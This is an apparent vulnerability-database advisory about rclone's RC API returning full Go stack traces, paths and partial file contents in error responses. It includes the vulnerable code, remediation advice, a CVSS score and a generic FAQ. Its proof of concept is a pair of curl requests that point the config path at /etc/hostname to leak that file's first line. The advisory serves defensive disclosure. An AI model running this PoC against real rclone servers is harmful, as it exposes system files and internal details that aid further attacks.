Vulnerability Database

374,644

Total vulnerabilities in the database

rclone: Verbose Stack Trace Disclosure in RC API Error Responses — github.com/rclone/rclone

Generation of Error Message Containing Sensitive Information

Summary

When an RC API call triggers a panic (recovered by the job runner), the full Go stack trace is included in the JSON error response. This leaks internal file paths, Go module versions, goroutine state, and memory addresses to the API caller.

Details

The panic recovery in fs/rc/jobs/job.go:110-115:

func (j *Job) run(ctx context.Context, fn rc.Func, in rc.Params) { defer func() { if r := recover(); r != nil { j.mu.Lock() j.EndTime = time.Now() j.Error = fmt.Sprintf("panic received: %v \n%s", r, string(debug.Stack())) // ... } }()

The full debug.Stack() output is placed into j.Error, which is then returned in the HTTP response JSON.

PoC

Trigger a parse error by setting config path to a non-INI file, then calling dump:

curl -s -X POST http://localhost:5572/config/setpath \ -H "Content-Type: application/json" \ -d '{"path":"/etc/hostname"}' curl -s -X POST http://localhost:5572/config/dump

Response includes:

{ "error": "panic received: fatal error: Failed to load config file \"/etc/hostname\": could not parse line: ... \ngoroutine 9 [running]:\nruntime/debug.Stack()\n\truntime/debug/stack.go:26 +0x64\ngithub.com/rclone/rclone/fs/rc/jobs.(*Job).run.func1()\n\tgithub.com/rclone/rclone/fs/rc/jobs/job.go:112 +0x34\n...", "status": 500 }

Disclosed information includes:

  • Full filesystem paths (github.com/rclone/rclone/fs/config/config.go:377)
  • Go module versions (github.com/go-chi/chi/[email protected])
  • Go runtime version (from binary)
  • Goroutine IDs and states
  • Memory addresses (ASLR leak)
  • File contents (first unparseable line of the target file)

Tested and confirmed on rclone v1.74.4.

Impact

Information disclosure that aids exploitation of other vulnerabilities. Stack traces reveal internal architecture, dependency versions (useful for known-CVE targeting), and memory layout. The error message also leaks partial file contents (the first line that fails INI parsing), which can be used alongside the arbitrary file read finding as a complementary file read primitive for non-INI files.

Affected Versions

All versions with RC API support through at least v1.74.4.

Remediation

Return a generic error message to the API caller. Log the full stack trace server-side only. Strip debug.Stack() from HTTP responses.

CVSS v3:

  • Severity: Low
  • Score: 2.7
  • AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.